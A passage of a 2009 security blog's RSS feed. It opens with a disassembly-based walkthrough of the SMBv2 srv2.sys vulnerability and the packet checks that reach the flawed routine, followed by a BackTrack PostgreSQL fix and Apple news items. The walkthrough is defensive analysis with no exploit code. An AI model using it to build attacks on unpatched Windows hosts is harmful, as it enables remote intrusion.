<pre>.data:0002D2A0                 dd offset _Smb2ValidateCancel@4 ; Smb2ValidateCancel(x)</pre>
<pre>.data:0002D2A4                 dd offset _Smb2ValidateEcho@4 ; Smb2ValidateEcho(x)</pre>
<pre>.data:0002D2A8                 dd offset _Smb2ValidateQueryDirectory@4 ; Smb2ValidateQueryDirectory(x)</pre>
<pre>.data:0002D2AC                 dd offset _Smb2ValidateChangeNotify@4 ; Smb2ValidateChangeNotify(x)</pre>
<pre>.data:0002D2B0                 dd offset _Smb2ValidateQueryInfo@4 ; Smb2ValidateQueryInfo(x)</pre>
<pre>.data:0002D2B4                 dd offset _Smb2ValidateSetInfo@4 ; Smb2ValidateSetInfo(x)</pre>
<pre>.data:0002D2B8                 dd offset _Smb2ValidateOplockBreak@4 ; Smb2ValidateOplockBreak(x)</pre>
<p>When the driver is first loaded, it initializes a series of structures that are responsible for registering the driver.  One of the first steps that occurs is registering a series of callbacks:</p>
<pre>PAGE:0002EFCF push    offset _SrvNetProvider</pre>
<pre>PAGE:0002EFD4 lea     eax, [ebp+DestinationString]</pre>
<pre>PAGE:0002EFD7 push    eax</pre>
<pre>PAGE:0002EFD8 mov     [ebp+var_14], offset _SrvConnectHandler@16 ; SrvConnectHandler(x,x,x,x)</pre>
<pre>PAGE:0002EFDF mov     [ebp+var_C], offset _SrvDisconnectHandler@12 ; SrvDisconnectHandler(x,x,x)</pre>
<pre>PAGE:0002EFE6 mov     [ebp+var_10], offset _SrvReceiveHandler@36 ; SrvReceiveHandler(x,x,x,x,x,x,x,x,x)</pre>
<pre>PAGE:0002EFED mov     [ebp+var_18], offset _SrvNegotiateHandler@16 ; SrvNegotiateHandler(x,x,x,x)</pre>
<pre>PAGE:0002EFF4 mov     [ebp+var_20], offset _SrvRegisterEndpoint@28 ; SrvRegisterEndpoint(x,x,x,x,x,x,x)</pre>
<pre>PAGE:0002EFFB mov     [ebp+var_1C], offset _SrvDeregisterEndpoint@12 ; SrvDeregisterEndpoint(x,x,x)</pre>
<pre>PAGE:0002F002 mov     [ebp+var_8], offset _SrvCredentialHandler@16 ; SrvCredentialHandler(x,x,x,x)</pre>
<pre>PAGE:0002F009 call    _SrvNetRegisterClient@8 ; SrvNetRegisterClient(x,x)</pre>
<p>srvnet.sys is another driver that exports the SrvNetRegisterClient() routine.  The srvnet.sys routine modifies a device extension (http://msdn.microsoft.com/en-us/library/ms794734.aspx), which maintains some internal state on each driver that registers via SrvNetRegisterClient().  This object is allocated with a size of 0&#215;160 bytes when srvnet.sys is loaded (From DriverLoad()):</p>
<pre>INIT:00028180</pre>
<pre>INIT:00028180 loc_28180:</pre>
<pre>INIT:00028180 lea     eax, [ebp+DeviceObject]</pre>
<pre>INIT:00028183 push    eax             ; DeviceObject</pre>
<pre>INIT:00028184 push    0               ; Exclusive</pre>
<pre>INIT:00028186 push    100h            ; DeviceCharacteristics</pre>
<pre>INIT:0002818B push    14h             ; DeviceType</pre>
<pre>INIT:0002818D lea     eax, [ebp+DestinationString]</pre>
<pre>INIT:00028190 push    eax             ; DeviceName</pre>
<pre>INIT:00028191 push    160h            ; DeviceExtensionSize</pre>
<pre>INIT:00028196 push    [ebp+DriverObject] ; DriverObject</pre>
<pre>INIT:00028199 call    ds:__imp__IoCreateDevice@28 ; IoCreateDevice(x,x,x,x,x,x,x)</pre>
<pre>INIT:0002819F mov     esi, eax</pre>
<pre>INIT:000281A1 test    esi, esi</pre>
<pre>INIT:000281A3 jge     short loc_281DF</pre>
<pre>INIT:000281FD mov     eax, [ebp+DeviceObject]</pre>
<pre>INIT:00028200 mov     eax, [eax+DEVICE_OBJECT.DeviceExtension]</pre>
<pre>INIT:00028203 push    eax             ; Resource</pre>
<pre>INIT:00028204 mov     _SrvNetDeviceExtension, eax ; Store ptr to DeviceExtension in a global variable</pre>
<p>Within the undocumented device extension, an array of no more than 4 pointers to objects created by SrvNetRegisterClient() is maintained.  These objects are allocated at the start of SrvNetRegisterClient():</p>
<pre>.text:00014BF9 push    6662534Ch       ; Tag</pre>
<pre>.text:00014BFE add     eax, 78h</pre>
<pre>.text:00014C01 push    eax             ; int</pre>
<pre>.text:00014C02 push    edi             ; PoolType</pre>
<pre>.text:00014C03 call    _SrvNetAllocatePoolWithTag@12 ; SrvNetAllocatePoolWithTag(x,x,x)</pre>
<pre>.text:00014C08 mov     ebx, eax</pre>
<pre>.text:00014C0A cmp     ebx,</pre>
<p>The pointer to the object is then added at the end of the array in the device extension:</p>
<pre>.text:00014D5B mov     ecx, _SrvNetDeviceExtension</pre>
<pre>.text:00014D61 mov     [ecx+esi*4+0DCh], ebx</pre>
<p>Each of these objects contains the function pointers shown when srv2.sys calls SrvNetRegisterClient():</p>
<pre>.text:00014C77 pop     ecx ; ECX = 9</pre>
<pre>.text:00014C78 lea     edi, [ebx+4Ch] ; EBX = DeviceExtension, ESI = arg_0 (pointer to base of function pointer list)</pre>
<pre>.text:00014C7B rep movsd ; move 9 DWORD objects from *ESI into *EDI</pre>
<p>The array roughly looks like this:</p>
<pre>0x4C : 8 byte LSA_UNICODE_STRING structure</pre>
<pre>0x54 : *SrvRegisterEndpoint()</pre>
<pre>0x58 : *SrvDeRegisterEndpoint()</pre>
<pre>0x5C : *SrvNegotiateHandler()</pre>
<pre>0x60 : *SrvConnectHandler()</pre>
<pre>0x64 : *SrvReceiveHandler()</pre>
<pre>.....</pre>
<p>Later in srvnet.sys, these routines will be called, for example within SrvNetCommonReceiveHandler():</p>
<pre>.text:00016477 loc_16477:</pre>
<pre>.text:00016477 movzx   eax, word ptr [ebp+var_8]</pre>
<pre>.text:0001647B mov     ecx, _SrvNetDeviceExtension</pre>
<pre>.text:00016481 lea     eax, [ecx+eax*4+0DCh]</pre>
<pre>.text:00016488 cmp     dword ptr [eax], 0</pre>
<pre>.text:0001648B jz      short loc_164B2</pre>
<pre>.text:00016495 push    [ebp+arg_14]</pre>
<pre>.text:00016498 mov     eax, [edi+70h]</pre>
<pre>.text:0001649B push    [ebp+arg_8]</pre>
<pre>.text:0001649E push    [ebp+arg_4]</pre>
<pre>.text:000164A1 push    dword ptr [ebx+eax*4+0CCh]</pre>
<pre>.text:000164A8 call    dword ptr [edi+5Ch] ; Call SrvNegotiateHandler() from DeviceExtension-&gt;CallbackArray</pre>
<pre>.text:000164AB test    eax, eax</pre>
<pre>.text:000164AD mov     [ebp+var_4], eax</pre>
<pre>.text:000164B0 jge     short loc_1</pre>
<p>The negotiate handler performs some validation, the most important of which is this check:</p>
<p>.text:0001602B cmp     byte ptr [eax+4], 72h ; EAX = SMB packet data<br />
.text:0001602F jnz     loc_160EC</p>
<p>This checks the second DWORD in the packet for the negotiate SMB command, which is 0&#215;72.  If this check fails, then the routine returns an error.</p>
<p>Continuing to follow the code down in SrvNetCommonReceiveHandler() inside of srvnet.sys, we see that shortly after the call to the SrvNegotiateHandler() callback, the pointer to SrvConnectHandler() is stored in a structure:</p>
<pre>.text:000164BE</pre>
<pre>.text:000164BE loc_164BE:              ;</pre>
<pre>.text:000164BE lea     eax, [edi+60h]  ;</pre>
<pre>.text:000164C1 mov     [esi+16Ch], eax ; SrvConnectHandler()</pre>
<pre>.text:000164C7 mov     eax, [edi+70h]</pre>
<pre>.text:000164CA mov     eax, [ebx+eax*4+0CCh]</pre>
<pre>.text:000164D1 mov     [esi+0A8h], eax</pre>
<pre>.text:000164D7 mov     eax, _pSrv2TraceInfo</pre>
<pre>.text:000164DC test    byte ptr [eax+0Ch], 1</pre>
<pre>.text:000164E0 jz      short loc_165</pre>
<p>This pointer is accessed again later within SrvNetCommandReceiveHandler():</p>
<pre>.text:000165D0 mov     [ebp+var_14], ax</pre>
<pre>.text:000165D4 mov     eax, [esi+16Ch]</pre>
<pre>.text:000165DA push    ebx</pre>
<pre>.text:000165DB call    dword ptr [eax] ; SrvConnectHandler()</pre>
<p>We then see it being used to call SrvReceiveHandler() shortly after:</p>
<pre>.text:00016687 loc_16687:</pre>
<pre>.text:00016687 push    [ebp+arg_20]</pre>
<pre>.text:0001668A mov     eax, [esi+16Ch]</pre>
<pre>.text:00016690 push    [ebp+arg_1C]</pre>
<pre>.text:00016693 mov     dword ptr [esi+8], 3</pre>
<pre>.text:0001669A push    [ebp+arg_14]</pre>
<pre>.text:0001669D push    [ebp+arg_C]</pre>
<pre>.text:000166A0 push    [ebp+arg_8]</pre>
<pre>.text:000166A3 push    [ebp+arg_4]</pre>
<pre>.text:000166A6 push    [ebp+arg_10]</pre>
<pre>.text:000166A9 push    dword ptr [edi]</pre>
<pre>.text:000166AB push    dword ptr [esi+0A8h]</pre>
<pre>.text:000166B1 call    dword ptr [eax+4] ; SrvReceiveHandler()</pre>
<p>This chain of function calls will be important when understanding how the data passes between the different routines in srv2.sys.</p>
<p>The srsv2.sys driver maintains an internal list of &#8220;service providers&#8221; that provide different services, including validation and execution.  This list is initialized in DriverStart() by calling Smb2ProviderRegister(), which calls another routine, SrvRegisterProvider(), which maintains a global list of providers within the driver.  The SrvRegisterProvider() routine takes the following structure in addition to a callback as arguments:</p>
<pre>.text:0001235B ; int __stdcall Smb2ProviderRegister() .text:0001235B _Smb2ProviderRegister@0 proc</pre>
<pre>.text:0001235B push    2</pre>
<pre>.text:0001235D push    3050h</pre>
<pre>.text:00012362 push    offset _Smb2ValidateProviderCallback@4 ; Smb2ValidateProviderCallback(x)</pre>
<pre>.text:00012367 push    offset _Smb2ValidateProviderName ; "Smb2Validate"</pre>
<pre>.text:0001236C call    _SrvRegisterProvider@16 ; SrvRegisterProvider(x,x,x,x</pre>
<pre>_Smb2ValidateProviderName:</pre>
<pre>.data:0002D164 _Smb2ValidateProviderName dw 18h        ; DATA XREF: Smb2ProviderRegister()+C o</pre>
<pre>.data:0002D166                 dw 18h</pre>
<pre>.data:0002D168                 dd offset aSmb2validate ; "Smb2Validate"</pre>
<p>The SrvRegisterProvider() routine is also responsible for the initialization of a 36-byte structure.  I didn&#8217;t reverse engineer the entire structure, but there are a few important offsets noted in the comments:</p>
<pre>.data:0002D138 _NullProvider   dw 0Ah                  ; DATA XREF: SrvInitializeProviderList() o</pre>
<pre>.data:0002D138                                         ; SrvCleanupProviderList()+D o</pre>
<pre>.data:0002D13A                 dw 0</pre>
<pre>.data:0002D13C                 dd 0DCh</pre>
<pre>.data:0002D140                 dw 24h</pre>
<pre>.data:0002D142                 dw 0</pre>
<pre>.data:0002D144                 dd 1</pre>
<pre>.data:0002D148                 dd offset _NullProviderName ; (struct ProviderName *)p_providerName</pre>
<pre>.data:0002D14C                 dd 0                    ; (struct Provider *)p_next</pre>
<pre>.data:0002D150                 db    0</pre>
<pre>.data:0002D151                 db    0</pre>
<pre>.data:0002D152                 db    0</pre>
<pre>.data:0002D153                 db    0</pre>
<pre>.data:0002D154                 dd 0FFFFFFFFh</pre>
<pre>.data:0002D158                 dd offset _NullProviderCallback@4 ; Provider callback routine</pre>
<p>The _NullProviderName is a pointer to a provider name structure similar to the one passed as an argument to _SrvRegisterProvider().  The NULL provider above (_NullProvider) is the first provider initialized by SrvInitializeProviderList() (and used in cleanup code); it is also the first entry in a linked list of provider structures.  The service provider list (_SrvProviderList) is first initialized with a pointer to this NULL entry.  Each call to _SrvRegisterProvider() will subsequently add a new entry to the end of the linked list.</p>
<p>At this point we understand that the provider which leads to the vulnerable code is going to be added to a linked list with the other 3 providers.  We can then move on to SrvProcessPacket() where we see this structure is accessed:</p>
<pre>PAGE:0002FA40 mov     eax, _SrvProviderList</pre>
<pre>PAGE:0002FA45 mov     [esi+15Ch], eax</pre>
<pre>PAGE:0002FA62</pre>
<pre>PAGE:0002FA62 loc_2FA62:              ;</pre>
<pre>PAGE:0002FA62 mov     eax, [esi+15Ch] ; EAX = &amp;cur_provider;</pre>
<pre>PAGE:0002FA68 mov     ecx, [eax+1Ch]</pre>
<pre>PAGE:0002FA6B test    [esi+158h], ecx</pre>
<pre>PAGE:0002FA71 jz      short loc_2FA7E</pre>
<pre>PAGE:0002FA73 push    esi</pre>
<pre>PAGE:0002FA74 call    dword ptr [eax+20h] ; cur_provider-&gt;CallBack()</pre>
<pre>PAGE:0002FA77 cmp     eax, STATUS_MORE_PROCESSING_REQUIRED</pre>
<pre>PAGE:0002FA7C jnz     short loc_2FA99</pre>
<pre>PAGE:0002FA7E</pre>
<pre>PAGE:0002FA7E loc_2FA7E:              ;</pre>
<pre>PAGE:0002FA7E mov     eax, [esi+15Ch] ; EAX = &amp;cur_provider</pre>
<pre>PAGE:0002FA84 mov     eax, [eax+14h]</pre>
<pre>PAGE:0002FA87 cmp     eax, edi        ; EDI = 0</pre>
<pre>PAGE:0002FA89 mov     [esi+15Ch], eax ; cur_provider = cur_provider-&gt;next</pre>
<pre>PAGE:0002FA8F jnz     short loc_2FA62</pre>
<p>The code above is initializing a variable with a pointer to the head of the linked list of providers (_NullProvider), then iterating through the list to discover if it needs to take action.  This is the point where the vulnerable routine is called.  The validation routine will first be called via Smb2ValidateProviderCallback(), and if more processing is required and no error occurs (which will be the case with most, if not all of the callbacks in the validation provider), STATUS_MORE_PROCESSING_REQUIRED will be returned and the next call will be to the _Smb2ExecuteProviderCallback() routine, which is the Smb2Execute provider that is registered after the validation provider.</p>
<p>The structure pointed to by ESI in the code above is heavily used throughout the code and wasn&#8217;t fully reversed.  It is a 0&#215;410 byte structure that is initialized by SrvAllocateWorkItemForConnection() and contains some data used to maintain the work queue.  At the base of the structure is a pointer to the actual data from the packet.</p>
<p>The SrvProcessPacket() routine will eventually be called by SrvReceiveHandler(), which was registered in the device extension array inside of srvnet.sys.  Once SrvProcessPacket() is called, the faulting routine will be reached after some more processing.  It is important to remember that this will only occur if SrvNegotiateHandler() is successful, meaning the SMB command must be 0&#215;72.</p>
<p>The vulnerable routine, Smb2ValidateProviderCallback(), begins by checking the first 4 bytes of the buffer for two different versions of the SMB header:</p>
<pre>.text:000172F8</pre>
<pre>.text:000172F8 loc_172F8:</pre>
<pre>.text:000172F8 mov     edx, [esi]</pre>
<pre>.text:000172FA cmp     edx, 'BMS¦'</pre>
<pre>.text:00017300 jz      short loc_17343</pre>
<pre>.text:00017302 cmp     edx, 424D53FFh ; BMS\xFF</pre>
<pre>.text:00017308 jnz     short loc_1731A</pre>
<p>The routine then proceeds down to perform various processing depending on what the version in the SMB header was, eventually pulling the WORD from the SMB packet and using it in the index as demonstrated earlier.</p>
<p>From:    <a href="http://www.secureworks.com/research/threats/windows-0day">http://www.secureworks.com/research/threats/windows-0day</a></p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/574/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/574/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/574/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/574/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/574/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/574/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/574/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/574/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/574/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/574/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=574&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/10/09/static-binary-analysis-of-recent-smbv2-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>Error with Postgresql in BackTrack 4 pre-Final</title>
		<link>http://longjidin.wordpress.com/2009/10/03/error-with-postgresql-in-backtrack-4-pre-final/</link>
		<comments>http://longjidin.wordpress.com/2009/10/03/error-with-postgresql-in-backtrack-4-pre-final/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 12:06:54 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[PostgrSQL Error Fix]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=569</guid>
		<description><![CDATA[Setting up postgresql-8.3 (8.3.8-0ubuntu8.10) &#8230;
Starting PostgreSQL 8.3 database server: main* The PostgreSQL server failed to start. Please check the log output:
2009-09-29 12:21:43 BST FATAL:  could not load server certificate file &#8220;server.crt&#8221;: No such file or directory
failed!
invoke-rc.d: initscript postgresql-8.3, action &#8220;start&#8221; failed.
dpkg: error processing postgresql-8.3 (&#8211;configure):
subprocess post-installation script returned error exit status 1
dpkg: dependency problems [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=569&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Setting up postgresql-8.3 (8.3.8-0ubuntu8.10) &#8230;<br />
Starting PostgreSQL 8.3 database server: main* The PostgreSQL server failed to start. Please check the log output:<br />
2009-09-29 12:21:43 BST FATAL:  could not load server certificate file &#8220;server.crt&#8221;: No such file or directory<br />
<span style="color:#ff0000;">failed!</span><br />
invoke-rc.d: initscript postgresql-8.3, action &#8220;start&#8221; failed.<br />
dpkg: error processing postgresql-8.3 (&#8211;configure):<br />
subprocess post-installation script returned error exit status 1<br />
dpkg: dependency problems prevent configuration of postgresql:<br />
postgresql depends on postgresql-8.3; however:<br />
Package postgresql-8.3 is not configured yet.<br />
dpkg: error processing postgresql (&#8211;configure):<br />
dependency problems &#8211; leaving unconfigured<br />
No apport report written because the error message indicates its a followup error from a previous failure.<br />
Errors were encountered while processing:<br />
postgresql-8.3<br />
postgresql<br />
E: Sub-process /usr/bin/dpkg returned an error code (1)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>OK now pen console then type :-</p>
<p>cd /etc/ssl/certs<br />
ls -ld /etc/ssl/private<br />
sudo ls -l /etc/ssl/private/<br />
make-ssl-cert generate-default-snakeoil &#8211;force-overwrite<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
BackTrack 4 Pre Final Kernel Update</p>
<p>apt-get update<br />
apt-get install -d linux-image<br />
cd /var/cache/apt/archives/<br />
dpkg -i –force all linux-image-2.6.30.5_2.6.30.5-10.00.Custom_i386.deb<br />
apt-get dist-upgrade<br />
apt-get install madwifi-drivers<br />
apt-get install r8187-drivers</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>After a reboot, type this command:</p>
<p>fix-splash</p>
<p>now you will get no error with Postgresql</p>
<p>enjoy the BackTrack 4 pre-Final</p>
<p>thanks to CONSOLE</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/569/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=569&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/10/03/error-with-postgresql-in-backtrack-4-pre-final/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>Stallman backpedals on Mac OS backdoor claims</title>
		<link>http://longjidin.wordpress.com/2009/10/01/stallman-backpedals-on-mac-os-backdoor-claims/</link>
		<comments>http://longjidin.wordpress.com/2009/10/01/stallman-backpedals-on-mac-os-backdoor-claims/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 03:37:12 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Apple News]]></category>
		<category><![CDATA[Apple backdoor]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=565</guid>
		<description><![CDATA[
Free software activist Richard Stallman has withdrawn an accusation that Apple&#8217;s Mac OS X contained a backdoor after admitting there was no evidence to substantiate his earlier claims. Stallman has repeatedly levelled charges that Apple could forcibly impose software changes in Mac OS X. He now admits his opinion was influenced by unsubstantiated gripes against [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=565&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div id="body">
<p>Free software activist Richard Stallman has withdrawn an accusation that Apple&#8217;s Mac OS X contained a backdoor after admitting there was no evidence to substantiate his earlier claims. Stallman has repeatedly levelled charges that Apple could forcibly impose software changes in Mac OS X. He now admits his opinion was influenced by unsubstantiated gripes against Apple&#8217;s operating system and that there is &#8220;no evidence that Apple has installed software changes without the user&#8217;s permission.&#8221;</p>
<div id="article-mpu-container">
<div id="ad-mpu1-spot" style="width:auto;height:auto;">
<div id="ad-mpu1">&amp;lt;a href=&#8221;http://ad.uk.doubleclick.net/jump/reg.security.4159/front;tile=2;pos=top;dcove=d;sz=336&#215;280;ord=SsQaisCoZGUAAGpZQyEAAAEp?&#8221; target=&#8221;_blank&#8221;&amp;gt;&amp;lt;img src=&#8221;http://ad.uk.doubleclick.net/ad/reg.security.4159/front;tile=2;pos=top;dcove=d;sz=336&#215;280;ord=SsQaisCoZGUAAGpZQyEAAAEp?&#8221; alt=&#8221;"&amp;gt;&amp;lt;/a&amp;gt;</div>
</div>
<p>&#8220;We have no way to verify that there is no backdoor in Mac OS X that could install changes without permission, but that is no basis to claim there is one,&#8221; Stallman writes in a <a href="http://www.fsf.org/blogs/rms/mac-osx-mistakes-and-malfeatures" target="_blank">post</a> on his FSF blog on Monday. &#8220;I apologize for repeating a criticism of Mac OS which I cannot substantiate and must presume is false.&#8221;</p>
</div>
<p>Even after ditching the backdoor claim, Stallman predictably remains a staunch critic of Apple&#8217;s DRM (copyright technology) push.</p>
<p>&#8220;While Apple has not, it seems, imposed changes by force, it has a record of making users install harmful changes on pain of losing functionality, and misleading users about what these changes do.&#8221;</p>
<p>For example, back in 2005, Apple insisted users needed to upgrade to iTunes 4.7 to use its music store. According to Stallman, Apple misled its users in describing this as a security upgrade. In reality, the change was designed to &#8220;change the iTunes system of Digital Restrictions Management (DRM) to make PyMusique stop working.&#8221; PyMusique was a free software application that allowed GNU/Linux users to access the iTunes store. This isn&#8217;t an isolated example, according to Stallman, who accused Apple of sneaking a DRM into Quicktime last year that &#8220;stopped users from playing video files they themselves had made.&#8221;</p>
<p>Stallman concludes that while he no longer believes Mac OS X has a backdoor, he doesn&#8217;t regard it as all above board either. He is certainly not a candidate for an iBook, much less an iPhone. Stallman&#8217;s privacy concerns are such that he avoids using mobiles in general.</p>
<p>&#8220;If Mac OS X does not have a backdoor to forcibly install changes, that does not make it ethical,&#8221; Stallman concludes. &#8220;It has other malicious features, such as Digital Restrictions Management.</p>
<p>&#8220;What makes those malfeatures possible is that users can&#8217;t remove them. Mac OS is proprietary software, so the users don&#8217;t have control over it &#8211; rather, the developer has sole control over the program, and employs it as an instrument of control over the users. So I don&#8217;t withdraw my condemnation of Mac OS. But I do withdraw the claim that it has a known backdoor.&#8221; ®</p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/565/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/565/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/565/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/565/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/565/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/565/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/565/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/565/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/565/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/565/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=565&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/10/01/stallman-backpedals-on-mac-os-backdoor-claims/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>Apple pushes unnecessary software to Windows PCs</title>
		<link>http://longjidin.wordpress.com/2009/10/01/apple-pushes-unnecessary-software-to-windows-pcs/</link>
		<comments>http://longjidin.wordpress.com/2009/10/01/apple-pushes-unnecessary-software-to-windows-pcs/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 03:11:33 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Apple News]]></category>
		<category><![CDATA[apple tools]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=562</guid>
		<description><![CDATA[ 
But within hours, it pulls enterprise tool from update list
Apple again used its software update tool to push a program that was previously not installed on PCs, according to Computerworld tests early Monday. Later in the day, however, Apple removed the software from the update list. Apple&#8217;s Software Update for Windows &#8212; a utility [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=562&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><span class="date"> </span></p>
<h2>But within hours, it pulls enterprise tool from update list</h2>
<p>Apple again used its software update tool to push a program that was previously not installed on PCs, according to <em>Computerworld</em> tests early Monday. Later in the day, however, <a href="http://www.computerworld.com/s/article/9137163/Apple_Update">Apple</a> removed the software from the update list. Apple&#8217;s Software Update for Windows &#8212; a utility most often installed on PCs when users download iTunes &#8212; was offering something called &#8220;iPhone Configuration Utility&#8221; to Windows users, even those who have never connected an iPhone to their computers. Popular <a href="//blogs.zdnet.com/Bott/?p=1349" target="new">Windows blogger Ed Bott</a> first reported on ZDNet that the tool was included in new updates. <em>Computerworld</em> confirmed that the 22MB download was offered to PCs &#8212; including those running Windows XP Service Pack 3 (SP3) and Vista SP2 &#8212; that had never been used to synchronize an iPhone. The tool, chimed in Simon Bisson of <a href="http://www.itexpertmag.com/telecoms/supporting-mobile-email-on-multiple-handsets" target="new">itexpertmag.com</a>, is actually an enterprise-grade tool for network administrators, who use it to create and deploy device profiles so users can securely connect to a company&#8217;s Exchange mail servers.<a href="//twitter.com/sbisson/statuses/4424231957" target="new"> According to Bisson</a>, the iPhone Configuration Utility also adds the open-source Apache Web server software to the PC. &#8220;The thing with that iPhone config utility is that it&#8217;s an enterprise tool for building device profiles. It&#8217;s not for consumers!&#8221; Bisson said on Twitter.</p>
<p>Apple has been criticized in the past for using its software updating service to push unwanted software. Last year, for example, the company came under fire for offering Safari for Windows to users who had not installed the application, going so far as to pre-check the program so that users who simply accepted the default downloads received the browser. John Lilly, the CEO of Mozilla, the open-source developer responsible for Firefox, said Apple&#8217;s tactic <a href="//www.computerworld.com/s/article/9071599/Apple_undermines_the_Internet_charges_Mozilla_CEO">&#8220;undermines the Internet&#8221;</a> because updates are traditionally used to patch or fix existing software, not install new programs.</p>
